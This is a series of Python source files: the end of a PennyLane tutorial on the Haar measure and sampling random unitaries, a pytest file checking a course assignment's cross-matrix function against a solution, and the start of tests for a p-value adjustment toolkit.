math::\r\n#\r\n#    U(\\phi, \\theta, \\omega) = \\begin{pmatrix} e^{-i(\\phi + \\omega)/2}\r\n#                        \\cos(\\theta/2) & -e^{i(\\phi - \\omega)/2} \\sin(\\theta/2)\r\n#                        \\\\ e^{-i(\\phi - \\omega)/2} \\sin(\\theta/2) & e^{i(\\phi +\r\n#                        \\omega)/2} \\cos(\\theta/2) \\end{pmatrix}.\r\n#\r\n#\r\n# This unitary can be factorized as follows: \r\n#\r\n# .. math::\r\n#\r\n#    U(\\phi, \\theta, \\omega) =\r\n#        \\begin{pmatrix}\r\n#          e^{-i\\omega/2} & 0 \\\\ 0 & e^{i\\omega/2}\r\n#        \\end{pmatrix}\r\n#        \\begin{pmatrix}\r\n#          \\cos(\\theta/2) & -\\sin(\\theta/2) \\\\ \\sin(\\theta/2) & \\cos(\\theta/2)\r\n#        \\end{pmatrix}\r\n#       \\begin{pmatrix}\r\n#          e^{-i\\phi/2} & 0 \\\\ 0 & e^{i\\phi/2}\r\n#        \\end{pmatrix}\r\n#\r\n# The middle operation is a beamsplitter; the other two operations are phase\r\n# shifts.  We saw earlier that for :math:`N=2`, :math:`d\\mu_2 = \\sin\\theta\r\n# d\\theta d\\omega d\\phi`---note how the parameter in the beamsplitter\r\n# contributes to the measure in a different way than those of the phase\r\n# shifts. As mentioned above, for larger values of :math:`N` there are multiple\r\n# ways to decompose the unitary. Such decompositions rewrite elements in\r\n# :math:`SU(N)` acting on :math:`N` modes as a sequence of operations acting\r\n# only on 2 modes, :math:`SU(2)`, and single-mode phase shifts.  Shown below are\r\n# three examples [#deGuise2018]_, [#Clements2016]_, [#Reck1994]_:\r\n#\r\n# .. figure:: /demonstrations/haar_measure/unitaries.png\r\n#    :align: center\r\n#    :width: 95%\r\n#\r\n#\r\n# In these graphics, every wire is a different mode. Every box represents an\r\n# operation on one or more modes, and the number in the box indicates the number\r\n# of parameters.  The boxes containing a ``1`` are simply phase shifts on\r\n# individual modes. The blocks containing a ``3`` are :math:`SU(2)` transforms\r\n# with 3 parameters, such as the :math:`U(\\phi, \\theta, \\omega)` above. Those\r\n# containing a ``2`` are :math:`SU(2)` transforms on pairs of modes with 2\r\n# parameters, similar to the 3-parameter ones but with :math:`\\omega = \\phi`.\r\n#\r\n# Although the decompositions all produce the same set of operations, their\r\n# structure and parametrization may have consequences in practice.  The first [#deGuise2018]_\r\n# has a particularly convenient form that leads to a recursive definition\r\n# of the Haar measure. The decomposition is formulated recursively such that an\r\n# :math:`SU(N)` operation can be implemented by sandwiching an :math:`SU(2)`\r\n# transformation between two :math:`SU(N-1)` transformations, like so:\r\n#\r\n# |\r\n#\r\n# .. figure:: /demonstrations/haar_measure/sun.svg\r\n#    :align: center\r\n#    :width: 80%\r\n#\r\n# |\r\n#\r\n# The Haar measure is then constructed recursively as a product of 3\r\n# terms. The first term depends on the parameters in the first :math:`SU(N-1)`\r\n# transformation; the second depends on the parameters in the lone :math:`SU(2)`\r\n# transformation; and the third term depends on the parameters in the other\r\n# :math:`SU(N-1)` transformation.\r\n#\r\n# :math:`SU(2)` is the \"base case\" of the recursion---we simply have the Haar measure\r\n# as expressed above.\r\n#\r\n# |\r\n#\r\n# .. figure:: /demonstrations/haar_measure/su2_haar.svg\r\n#    :align: center\r\n#    :width: 25%\r\n#\r\n# |\r\n#\r\n# Moving on up, we can write elements of :math:`SU(3)` as a sequence of three\r\n# :math:`SU(2)` transformations. The Haar measure :math:`d\\mu_3` then consists\r\n# of two copies of :math:`d\\mu_2`, with an extra term in between to take into\r\n# account the middle transformation.\r\n#\r\n# |\r\n#\r\n# .. figure:: /demonstrations/haar_measure/su3_haar.svg\r\n#    :align: center\r\n#    :width: 80%\r\n#\r\n# |\r\n#\r\n# For :math:`SU(4)` and upwards, the form changes slightly, but still follows\r\n# the pattern of two copies of :math:`d\\mu_{N-1}` with a term in between.\r\n#\r\n# |\r\n#\r\n# .. figure:: /demonstrations/haar_measure/su4_premerge.svg\r\n#    :align: center\r\n#    :width: 90%\r\n#\r\n# |\r\n#\r\n# For larger systems, however, the recursive composition allows for some of the\r\n# :math:`SU(2)` transformations on the lower modes to be grouped. We can take\r\n# advantage of this and aggregate some of the parameters:\r\n#\r\n# |\r\n#\r\n# .. figure:: /demonstrations/haar_measure/su4_triangle_merge.svg\r\n#    :align: center\r\n#    :width: 100%\r\n#\r\n# |\r\n#\r\n# This leads to one copy of :math:`d\\mu_{N-1}`, which we'll denote as\r\n# :math:`d\\mu_{N-1}^\\prime`, containing only a portion of the full set of terms\r\n# (as detailed in [#deGuise2018]_, this is called a *coset measure*).\r\n#\r\n# |\r\n#\r\n# .. figure:: /demonstrations/haar_measure/su4_haar.svg\r\n#    :align: center\r\n#    :width: 100%\r\n#\r\n# |\r\n#\r\n# Putting everything together, we have that\r\n#\r\n# .. math::\r\n#\r\n#    d\\mu_N = d\\mu_{N-1}^\\prime \\times \\sin \\theta_{N-1}\r\n#    \\sin^{2(N-2)}\\left(\\frac{\\theta_{N-1}}{2}\\right) d\\theta_{N-1} d\\omega_{N-1} \\times d\\mu_{N-1}\r\n#\r\n# The middle portion depends on the value of :math:`N`, and the parameters\r\n# :math:`\\theta_{N-1}` and :math:`\\omega_{N-1}` contained in the :math:`(N-1)`'th\r\n# :math:`SU(N)` transformation. This is thus a convenient, systematic way to\r\n# construct the :math:`N`-dimensional Haar measure for the unitary group. As a\r\n# final note, even though unitaries can be parametrized in different ways, the\r\n# underlying Haar measure is *unique*. This is a consequence of it being an\r\n# invariant measure, as will be shown later.\r\n#\r\n# Haar-random matrices from the :math:`QR` decomposition\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n#\r\n# Nice-looking math aside, sometimes you just need to generate a large number of\r\n# high-dimensional Haar-random matrices. It would be very cumbersome to sample\r\n# and keep track of the distributions of so many parameters; furthermore, the\r\n# measure above requires you to parametrize your operations in a fixed way.\r\n# There is a much quicker way to perform the sampling by taking a (slightly\r\n# modified) `QR decomposition\r\n# <https://en.wikipedia.org/wiki/QR_decomposition>`__ of complex-valued\r\n# matrices.  This algorithm is detailed in [#Mezzadri2006]_, and consists of the\r\n# following steps:\r\n#\r\n# 1. Generate an :math:`N \\times N` matrix :math:`Z` with complex numbers :math:`a+bi`\r\n#    where both :math:`a` and :math:`b` are normally distributed with mean 0 and variance 1\r\n#    (this is sampling from the distribution known as the *Ginibre ensemble*).\r\n# 2. Compute a QR decomposition :math:`Z = QR`.\r\n# 3. Compute the diagonal matrix :math:`\\Lambda = \\hbox{diag}(R_{ii}/|R_{ii}|)`.\r\n# 4. Compute :math:`Q^\\prime = Q \\Lambda`, which will be Haar-random.\r\n#\r\n#\r\n\r\nfrom numpy.linalg import qr\r\n\r\ndef qr_haar(N):\r\n    \"\"\"Generate a Haar-random matrix using the QR decomposition.\"\"\"\r\n    # Step 1\r\n    A, B = np.random.normal(size=(N, N)), np.random.normal(size=(N, N))\r\n    Z = A + 1j * B\r\n\r\n    # Step 2\r\n    Q, R = qr(Z)\r\n\r\n    # Step 3\r\n    Lambda = np.diag([R[i, i] / np.abs(R[i, i]) for i in range(N)])\r\n\r\n    # Step 4\r\n    return np.dot(Q, Lambda)\r\n\r\n######################################################################\r\n# Let's check that this method actually generates Haar-random unitaries\r\n# by trying it out for :math:`N=2` and plotting on the Bloch sphere.\r\n#\r\n\r\n@qml.qnode(dev)\r\ndef qr_haar_random_unitary():\r\n    qml.QubitUnitary(qr_haar(2), wires=0)\r\n    return qml.state()\r\n\r\nqr_haar_samples = [qr_haar_random_unitary() for _ in range(num_samples)]\r\nqr_haar_bloch_vectors = np.array([convert_to_bloch_vector(s) for s in qr_haar_samples])\r\nplot_bloch_sphere(qr_haar_bloch_vectors)\r\n\r\n######################################################################\r\n# As expected, we find our qubit states are distributed uniformly over the\r\n# sphere.  This particular method is what's implemented in packages like\r\n# ``scipy``'s `unitary_group\r\n# <https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.unitary_group.html>`__\r\n# function.\r\n#\r\n# Now, it's clear that this method works, but it is also important to\r\n# understand *why* it works.  Step 1 is fairly straightforward---the base of our\r\n# samples is a matrix full of complex values chosen from a typical\r\n# distribution. This isn't enough by itself, since unitary matrices also\r\n# have constraints---their rows and columns must be orthonormal.\r\n# These constraints are where step 2 comes in---the outcome of a generic\r\n# QR decomposition consists of an *orthonormal* matrix :math:`Q`, and and upper\r\n# triangular matrix :math:`R`. Since our original matrix was complex-valued, we end\r\n# up with a :math:`Q` that is in fact already unitary. But why not stop there? Why\r\n# do we then perform steps 3 and 4?\r\n#\r\n# Steps 3 and 4 are needed because, while the QR decomposition yields a unitary,\r\n# it is not a unitary that is properly Haar-random. In [#Mezzadri2006]_, it is\r\n# explained that a uniform distribution over unitary matrices should also yield\r\n# a uniform distribution over the *eigenvalues* of those matrices, i.e., every\r\n# eigenvalue should be equally likely. Just using the QR decomposition out of\r\n# the box produces an *uneven* distribution of eigenvalues of the unitaries!\r\n# This discrepancy stems from the fact that the QR decomposition is not unique.\r\n# We can take any unitary diagonal matrix :math:`\\Lambda`, and re-express the decomposition\r\n# as :math:`QR = Q\\Lambda \\Lambda^\\dagger R = Q^\\prime R^\\prime`. Step 3 removes this\r\n# redundancy by fixing a :math:`\\Lambda` that depends on :math:`R`, leading to a unique\r\n# value of :math:`Q^\\prime = Q \\Lambda`, and a uniform distribution of eigenvalues.\r\n#\r\n# .. admonition:: Try it!\r\n#\r\n#    Use the ``qr_haar`` function above to generate random unitaries and construct\r\n#    a distribution of their eigenvalues. Then, comment out the lines for steps 3 and\r\n#    4 and do the same---you'll find that the distribution is no longer uniform.\r\n#    Check out reference [#Mezzadri2006]_ for additional details and examples.\r\n\r\n######################################################################\r\n# Fun (and not-so-fun) facts\r\n# --------------------------\r\n#\r\n# We've now learned what the Haar measure is, and both an analytical and\r\n# numerical means of sampling quantum states and unitary operations uniformly at\r\n# random. The Haar measure also has many neat properties that play a role in\r\n# quantum computing.\r\n#\r\n# Invariance of the Haar measure\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n#\r\n# Earlier, we showed that the Haar measure is used when integrating functions over\r\n# the unitary group:\r\n#\r\n# .. math::\r\n#\r\n#    \\int_{V \\in U(N)} f(V) d\\mu_N(V).\r\n#\r\n# One of the defining features of the Haar measure is that it is both left and\r\n# right *invariant* under unitary transformations. That is,\r\n#\r\n# .. math::\r\n#\r\n#    \\int_{V \\in U(N)} f(\\color{red}{W}V) d\\mu_N(V) =  \\int_{V \\in U(N)} f(V\\color{red}{W}) d\\mu_N(V) =  \\int_{V \\in U(N)} f(V) d\\mu_N(V).\r\n#\r\n# This holds true for *any* other :math:`N\\times N` unitary :math:`W`! A\r\n# consequence of such invariance is that if :math:`V` is Haar-random, then so is\r\n# :math:`V^T,` :math:`V^\\dagger,` and any product of another unitary matrix and\r\n# :math:`V` (where the product may be taken on either side).\r\n#\r\n# Another consequence of this invariance has to do with the structure of the entries\r\n# themselves: they must all come from the same distribution. This is because the\r\n# measure remains invariant under permutations, since permutations are unitary---\r\n# the whole thing still has to be Haar random no matter how the entries are ordered,\r\n# so all distributions must be the same.  The specific distribution is complex\r\n# numbers :math:`a+bi` where both :math:`a` and :math:`b` has mean 0 and variance\r\n# :math:`1/N` [#Meckes2014]_ (so, much like Ginibre ensemble we used in the QR decomposition\r\n# above, but with a different variance and constraints due to orthonormality).\r\n#\r\n# Concentration of measure\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~\r\n#\r\n# An unfortunate (although interesting) property of the Haar measure is that it\r\n# suffers from the phenomenon of `concentration of measure\r\n# <https://en.wikipedia.org/wiki/Concentration_of_measure>`__. Most of the\r\n# \"stuff\" in the space concentrates around a certain area, and this gets worse\r\n# as the size of the system increases. You can see the beginnings of by looking\r\n# at the sphere. For the 3-dimensional sphere, we saw graphically how there is\r\n# concentration around the equator, and how the measure takes that into account\r\n# with the additional factor of :math:`\\sin \\theta`. This property becomes\r\n# increasingly prominent for `higher-dimensional spheres\r\n# <https://en.wikipedia.org/wiki/N-sphere>`__.\r\n#\r\n# .. important::\r\n#\r\n#    The concentration described here is not referring to what we witnessed\r\n#    earlier on, when we sampled quantum states (points on the Bloch sphere)\r\n#    incorrectly and found that they clustered around the poles. However, that\r\n#    is not unrelated. Concentration of measure refers to where the measure\r\n#    itself is concentrated, and which parts of the space should be more heavily\r\n#    weighted. For the case of the sphere, it is the equatorial area, and when\r\n#    we didn't sample properly and take that concentration into account, we\r\n#    obtained an uneven distribution.\r\n#\r\n# Let's consider an :math:`N`-dimensional unit sphere. Points on the sphere, or\r\n# vectors in this space, are parametrized by :math:`N-1` real coordinates.\r\n# Suppose we have some function :math:`f` that maps points on that sphere to\r\n# real numbers. Sample a point :math:`x` on that sphere from the uniform\r\n# measure, and compute the value of :math:`f(x)`. How close do you think the\r\n# result will be to the mean value of the function, :math:`E[f]`, over the\r\n# entire sphere?\r\n#\r\n# A result called `Levy's lemma\r\n# <https://en.wikipedia.org/wiki/Concentration_of_measure#Concentration_on_the_sphere>`__\r\n# [#Gerken2013]_, [#Hayden2006]_ expresses how likely it is that :math:`f(x)` is a specific\r\n# distance away from the mean. It states that, for an :math:`x` selected\r\n# uniformly at random, the probability that :math:`f(x)` deviates from\r\n# :math:`E[f]` by some amount :math:`\\epsilon` is bounded by:\r\n#\r\n# .. math::\r\n#\r\n#    \\hbox{Pr}(|f(x) - E[f]| \\ge \\epsilon) \\leq 2 \\exp\\left[-\\frac{N\\epsilon^2}{9\\pi^3 \\eta^2}\\right].\r\n#\r\n# A constraint on the function :math:`f` is that it must be `Lipschitz\r\n# continuous <https://en.wikipedia.org/wiki/Lipschitz_continuity>`__, where\r\n# :math:`\\eta` is the *Lipschitz constant* of the function. The important aspect\r\n# here is the likelihood of deviating significantly from the mean by an amount\r\n# :math:`\\epsilon` decreases exponentially with :math:`\\epsilon.` Furthermore,\r\n# increasing the dimension :math:`N` also makes the deviation exponentially less\r\n# likely.\r\n#\r\n# Now, this result seems unrelated to quantum states---it concerns higher-\r\n# dimensional spheres. However, recall that a quantum state vector is a complex\r\n# vector whose squared values sum to 1, similar to vectors on a sphere. If you\r\n# \"unroll\" a quantum state vector of dimension :math:`N = 2^n` by stacking its\r\n# real and complex parts, you end with a vector of length :math:`2 \\cdot 2^{n}`\r\n# which ends up behaving just like a unit vector on the sphere in this\r\n# dimension. Given that measure concentrates on spheres, and quantum state\r\n# vectors can be converted to vectors on spheres, functions on random quantum\r\n# states will also demonstrate concentration.\r\n#\r\n# This is bad news! To do useful things in quantum computing, we need a lot of\r\n# qubits. But the more qubits we have, the more our randomly sampled states will\r\n# look the same (specifically, random states will concentrate around the\r\n# maximally entangled state [#Hayden2006]_). This has important consequences for\r\n# near-term algorithms (as detailed in the next section), and any algorithm that\r\n# involves uniform sampling of quantum states and operations.\r\n#\r\n# Haar measure and barren plateaus\r\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n#\r\n# Suppose you are venturing out to solve a new problem using an algorithm such\r\n# as the :doc:`variational quantum eigensolver </demos/tutorial_vqe>`. A\r\n# critical component of such methods is the choice of :doc:`variational ansatz\r\n# </glossary/circuit_ansatz>`. Having now learned a bit about the properties of\r\n# the Haar measure, you may think it would make sense to use this for the\r\n# parametrization. Variational ansaetze are, after all, parametrized quantum\r\n# circuits, so why not choose an ansatz that corresponds directly to a\r\n# parametrization for Haar-random unitaries?  The initial parameter selection\r\n# will give you a state in the Hilbert space uniformly at random. Then, since\r\n# this ansatz spans the entire Hilbert space, you're guaranteed to be able to\r\n# represent the target ground state with your ansatz, and it should be able to\r\n# find it with no issue ... right?\r\n#\r\n# Unfortunately, while such an ansatz is extremely *expressive* (i.e., it is\r\n# capable of representing any possible state), these ansaetze actually suffer\r\n# the most from the barren plateau problem [#McClean2018]_, [#Holmes2021]_.\r\n# :doc:`Barren plateaus </demos/tutorial_barren_plateaus>` are regions in the\r\n# cost landscape of a parametrized circuit where both the gradient and its\r\n# variance approach 0, leading the optimizer to get stuck in a local minimum.\r\n# This was explored recently in the work of [#Holmes2021]_, wherein closeness to\r\n# the Haar measure was actually used as a metric for expressivity. The closer\r\n# things are to the Haar measure, the more expressive they are, but they are\r\n# also more prone to exhibiting barren plateaus.\r\n#\r\n#\r\n# .. figure:: /demonstrations/haar_measure/holmes-costlandscapes.png\r\n#    :align: center\r\n#    :width: 50%\r\n#\r\n#    Image source: [#Holmes2021]_. A highly expressive ansatz that can access\r\n#    much of the space of possible unitaries (i.e., an ansatz capable of\r\n#    producing unitaries in something close to a Haar-random manner) is very\r\n#    likely to have flat cost landscapes and suffer from the barren plateau\r\n#    problem.\r\n#\r\n# It turns out that the types of ansaetze know as *hardware-efficient ansaetze*\r\n# also suffer from this problem if they are \"random enough\" (this notion will be\r\n# formalized in a future demo). It was shown in [#McClean2018]_ that this is a\r\n# consequence of the concentration of measure phenomenon described above. The\r\n# values of gradients and variances can be computed for classes of circuits on\r\n# average by integrating with respect to the Haar measure, and it is shown that\r\n# these values decrease exponentially in the number of qubits, and thus huge\r\n# swaths of the cost landscape are simply and fundamentally flat.\r\n#\r\n# Conclusion\r\n# ----------\r\n#\r\n# The Haar measure plays an important role in quantum computing---anywhere\r\n# you might be dealing with sampling random circuits, or averaging over\r\n# all possible unitary operations, you'll want to do so with respect\r\n# to the Haar measure.\r\n#\r\n# There are two important aspects of this that we have yet to touch upon,\r\n# however. The first is whether it is efficient to sample from the Haar measure---given\r\n# that the number of parameters to keep track of is exponential in the\r\n# number of qubits, certainly not. But a more interesting question is do we\r\n# *need* to always sample from the full Haar measure?  The answer to this is\r\n# \"no\" in a very interesting way. Depending on the task at hand, you may be able\r\n# to take a shortcut using something called a *unitary design*. In an upcoming\r\n# demo, we will explore the amazing world of unitary designs and their\r\n# applications!\r\n#\r\n# References\r\n# ----------\r\n#\r\n# .. [#NandC2000]\r\n#\r\n#     M. A. Nielsen, and I. L. Chuang (2000) \"Quantum Computation and Quantum Information\",\r\n#     Cambridge University Press.\r\n#\r\n# .. [#deGuise2018]\r\n#\r\n#     H. de Guise, O. Di Matteo, and L. L. S\u00e1nchez-Soto. (2018) \"Simple factorization\r\n#     of unitary transformations\", `Phys. Rev. A 97 022328\r\n#     <https://journals.aps.org/pra/abstract/10.1103/PhysRevA.97.022328>`__.\r\n#     (`arXiv <https://arxiv.org/abs/1708.00735>`__)\r\n#\r\n# .. [#Clements2016]\r\n#\r\n#     W. R. Clements, P. C. Humphreys, B. J. Metcalf, W. S. Kolthammer, and\r\n#     I. A. Walmsley (2016) \u201cOptimal design for universal multiport\r\n#     interferometers\u201d, \\ `Optica 3, 1460\u20131465\r\n#     <https://www.osapublishing.org/optica/fulltext.cfm?uri=optica-3-12-1460&id=355743>`__.\r\n#     (`arXiv <https://arxiv.org/abs/1603.08788>`__)\r\n#\r\n# .. [#Reck1994]\r\n#\r\n#    M. Reck, A. Zeilinger, H. J. Bernstein, and P. Bertani (1994) \u201cExperimental\r\n#    realization of any discrete unitary operator\u201d, `Phys. Rev. Lett.73, 58\u201361\r\n#    <https://journals.aps.org/prl/abstract/10.1103/PhysRevLett.73.58>`__.\r\n#\r\n# .. [#Mezzadri2006]\r\n#\r\n#     F. Mezzadri (2006) \"How to generate random matrices from the classical compact groups\".\r\n#     (`arXiv <https://arxiv.org/abs/math-ph/0609050>`__)\r\n#\r\n# .. [#Meckes2014]\r\n#\r\n#     E. Meckes (2019) `\"The Random Matrix Theory of the Classical Compact Groups\"\r\n#     <https://case.edu/artsci/math/esmeckes/Haar_book.pdf>`_, Cambridge University Press.\r\n#\r\n# .. [#Gerken2013]\r\n#\r\n#     M. Gerken (2013) \"Measure concentration: Levy's Lemma\"\r\n#     (`lecture notes <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.679.2560>`__).\r\n#\r\n#\r\n# .. [#Hayden2006]\r\n#\r\n#     P. Hayden, D. W. Leung, and A. Winter (2006) \"Aspects of generic\r\n#     entanglement\", `Comm. Math. Phys. Vol. 265, No. 1, pp. 95-117\r\n#     <https://link.springer.com/article/10.1007%2Fs00220-006-1535-6>`__.\r\n#     (`arXiv <https://arxiv.org/abs/quant-ph/0407049>`__)\r\n#\r\n# .. [#McClean2018]\r\n#\r\n#     J. R. McClean, S. Boixo, V. N. Smelyanskiy, R. Babbush, and H. Neven\r\n#     (2018) \"Barren plateaus in quantum neural network training\r\n#     landscapes\", `Nature Communications, 9(1)\r\n#     <http://dx.doi.org/10.1038/s41467-018-07090-4>`__.\r\n#     (`arXiv <https://arxiv.org/abs/1803.11173>`__)\r\n#\r\n# .. [#Holmes2021]\r\n#\r\n#     Z. Holmes, K. Sharma, M. Cerezo, and P. J. Coles (2021) \"Connecting ansatz\r\n#     expressibility to gradient magnitudes and barren plateaus\". (`arXiv\r\n#     <https://arxiv.org/abs/2101.02138>`__)\r\n#\r\n#\r\n", "meta": {"hexsha": "bec5b914fccec24183f959b9741791910e23d08e", "size": 38364, "ext": "py", "lang": "Python", "max_stars_repo_path": "demonstrations/tutorial_haar_measure.py", "max_stars_repo_name": "jamesellis1999/qml", "max_stars_repo_head_hexsha": "33c9d66712b36861dc098f9c789ba2c3ab897fdb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 216, "max_stars_repo_stars_event_min_datetime": "2020-08-01T03:18:37.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T06:17:52.000Z", "max_issues_repo_path": "demonstrations/tutorial_haar_measure.py", "max_issues_repo_name": "jamesellis1999/qml", "max_issues_repo_head_hexsha": "33c9d66712b36861dc098f9c789ba2c3ab897fdb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 173, "max_issues_repo_issues_event_min_datetime": "2020-08-05T09:24:15.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T13:37:05.000Z", "max_forks_repo_path": "demonstrations/tutorial_haar_measure.py", "max_forks_repo_name": "jamesellis1999/qml", "max_forks_repo_head_hexsha": "33c9d66712b36861dc098f9c789ba2c3ab897fdb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 66, "max_forks_repo_forks_event_min_datetime": "2020-08-01T05:02:45.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-02T19:34:54.000Z", "avg_line_length": 47.072392638, "max_line_length": 139, "alphanum_fraction": 0.6905171515, "include": true, "reason": "import numpy,from numpy,from scipy", "num_tokens": 10300, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.35936415888237616, "lm_q2_score": 0.1755380800931169, "lm_q1q2_score": 0.06308209450449014}}
{"text": "import pickle\nfrom numpy.core.numeric import isscalar\nimport pytest\nfrom copy import deepcopy\nimport sys\nfrom pathlib import Path\nimport numpy as np\nimport os\nfrom dataclasses import is_dataclass, astuple\nfrom collections.abc import Iterable\n\nassignment_name = \"eskf\"\n\nthis_file = Path(__file__)\ntests_folder = this_file.parent\ntest_data_file = tests_folder.joinpath(\"test_data.pickle\")\nproject_folder = tests_folder.parent\ncode_folder = project_folder.joinpath(assignment_name)\n\nsys.path.insert(0, str(code_folder))\n\nimport solution  # nopep8\nimport cross_matrix, eskf, nis_nees, quaternion  # nopep8\n\n\n@pytest.fixture\ndef test_data():\n    with open(test_data_file, \"rb\") as file:\n        test_data = pickle.load(file)\n    return test_data\n\n\ndef compare(a, b):\n    if isinstance(b, np.ndarray) or np.isscalar(b):\n        return np.allclose(a, b, atol=1e-6)\n\n    elif is_dataclass(b):\n        if type(a).__name__ != type(b).__name__:\n            return False\n        a_tup, b_tup = astuple(a), astuple(b)\n        return all([compare(i, j) for i, j in zip(a_tup, b_tup)])\n\n    elif isinstance(b, Iterable):\n        return all([compare(i, j) for i, j in zip(a, b)])\n\n    else:\n        return a == b\n\n\nclass Test_get_cross_matrix:\n    def test_output(self, test_data):\n        \"\"\"Tests if the function is correct by comparing the output\n        with the output of the solution\n\n        As python always use pass by reference, not by copy, it also checks if the\n        input is changed (or not) in the same way as the in solution\n        \"\"\"\n        for finput in test_data[\"cross_matrix.get_cross_matrix\"]:\n            params = tuple(finput.values())\n\n            vec_1, = deepcopy(params)\n\n            vec_2, = deepcopy(params)\n\n            S_1 = cross_matrix.get_cross_matrix(vec_1,)\n\n            S_2 = solution.cross_matrix.get_cross_matrix(vec_2,)\n            \n            assert compare(S_1, S_2)\n            \n            assert compare(vec_1, vec_2)\n\n    def test_solution_usage(self, test_data):\n        \"\"\"Tests if the solution is used in the function\"\"\"\n        for finput in test_data[\"cross_matrix.get_cross_matrix\"][:1]:\n            params = finput\n\n            solution.used[\"cross_matrix.get_cross_matrix\"] = False\n\n            cross_matrix.get_cross_matrix(**params)\n\n            assert not solution.used[\"cross_matrix.get_cross_matrix\"], \"The function uses the solution\"\n\n\nif __name__ == \"__main__\":\n    os.environ[\"_PYTEST_RAISE\"] = \"1\"\n    pytest.main()\n", "meta": {"hexsha": "1a05f125a1b7e0b6a5f9824a709140cbcafd8f24", "size": 2470, "ext": "py", "lang": "Python", "max_stars_repo_path": "Graded/G2/tests/test_cross_matrix.py", "max_stars_repo_name": "chrstrom/TTK4250", "max_stars_repo_head_hexsha": "f453c3a59597d3fe6cff7d35b790689919798b94", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Graded/G2/tests/test_cross_matrix.py", "max_issues_repo_name": "chrstrom/TTK4250", "max_issues_repo_head_hexsha": "f453c3a59597d3fe6cff7d35b790689919798b94", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Graded/G2/tests/test_cross_matrix.py", "max_forks_repo_name": "chrstrom/TTK4250", "max_forks_repo_head_hexsha": "f453c3a59597d3fe6cff7d35b790689919798b94", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.0681818182, "max_line_length": 103, "alphanum_fraction": 0.6655870445, "include": true, "reason": "import numpy,from numpy", "num_tokens": 594, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123158, "lm_q2_score": 0.13660839178375975, "lm_q1q2_score": 0.06297876080718394}}
{"text": "## Required packages\n\nimport os\nimport sys\nimport pytest\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib as plt\nplt.use('Agg')\n\nsys.path.insert(0, os.path.abspath(\"../p_toolkit\"))\n\nfrom core import *\n\n\n# -----------------------------------------------------------------------------\n# p_adjust tests\n# -----------------------------------------------------------------------------\n\ndef test_p_adjust_wrong_method_string():\n    \"\"\"\n    Testing for entering an invalid string as a method.\n    \"\"\"\n\n    try:\n        d = [0.02,0.3]\n        df = pd.DataFrame(data=d)\n        p_adjust(data=df,  pv_index=0, method='bonferrro', alpha=0.05)\n    except(ValueError):\n        assert True\n    else:\n        assert False\n\ndef test_p_adjust_vector_1_value_bonf():\n    \"\"\"\n    Testing p_adjust with a vector of 1 value and using bonferroni method.\n    \"\"\"\n\n    d = {\"p_value\": [0.07], \"adjusted\": [0.07]}\n    df = pd.DataFrame(data=d)\n    df = df[[\"p_value\", \"adjusted\"]]\n    assert df.equals(p_adjust(data=[0.07], method=\"bonf\")), \"p_adjust 1 values vector for bonferoni\"\n\ndef test_p_adjust_vector_1_value_bh():\n    \"\"\"\n    Testing p_adjust with a vector of 1 value and using bh method.\n    \"\"\"\n\n    d = {\"p_value\": [0.07], \"adjusted\": [0.07]}\n    df = pd.DataFrame(data=d)\n    df = df[[\"p_value\", \"adjusted\"]]\n    assert df.equals(p_adjust(data=[0.07], method=\"bh\")), \"p_adjust 1 values vector for bh\"\n\ndef test_p_adjust_vector_2_values_bonf():\n    \"\"\"\n    Testing p_adjust with a vector of 2 values and using bonferroni method.\n    \"\"\"\n\n    d = {\"p_value\": [0.07, 0.2], \"adjusted\": [0.14, 0.4]}\n    df = pd.DataFrame(data=d)\n    df = df[[\"p_value\", \"adjusted\"]]\n    assert df.equals(p_adjust(data=[0.07, 0.2], method=\"bonf\")), \"p_adjust 2 values vector for bonferoni\"\n\ndef test_p_adjust_vector_2_values_bh():\n    \"\"\"\n    Testing p_adjust with a vector of 2 values and using bh method.\n    \"\"\"\n\n    d = {\"p_value\": [0.07, 0.2], \"adjusted\": [0.14, 0.2]}\n    df = pd.DataFrame(data=d)\n    df = df[[\"p_value\", \"adjusted\"]]\n    assert df.equals(p_adjust(data=[0.07, 0.2], method=\"bh\")), \"p_adjust 2 values vector value for bh\"\n\ndef test_p_adjust_character_col_index():\n    \"\"\"\n    Testing for error string when col index of dataframe contains character values\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": ['str']}\n        p_adjust((err_str), 0, \"bonf\", 0.05)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_adjust_errors_probabilities_greater_than_one():\n    \"\"\"\n    Testing for errors with invalid probabilities greater than one\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,3,.02]}\n        p_adjust((err_str), 0, \"bonf\", 0.05)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\ndef test_p_adjust_errors_probabilities_less_than_zero():\n    \"\"\"\n    Testing for errors with invalid negative probabilities\n    \"\"\"\n\n    try:\n        err_str = {\"p_value\": [0.5,.3,-.02]}\n        p_adjust((err_str), 0, \"bh\", 0.05)\n    except(TypeError):\n        assert True\n    else:\n        assert False\n\n# -----------------------------------------------------------------------------\n# p_methods tests\n# 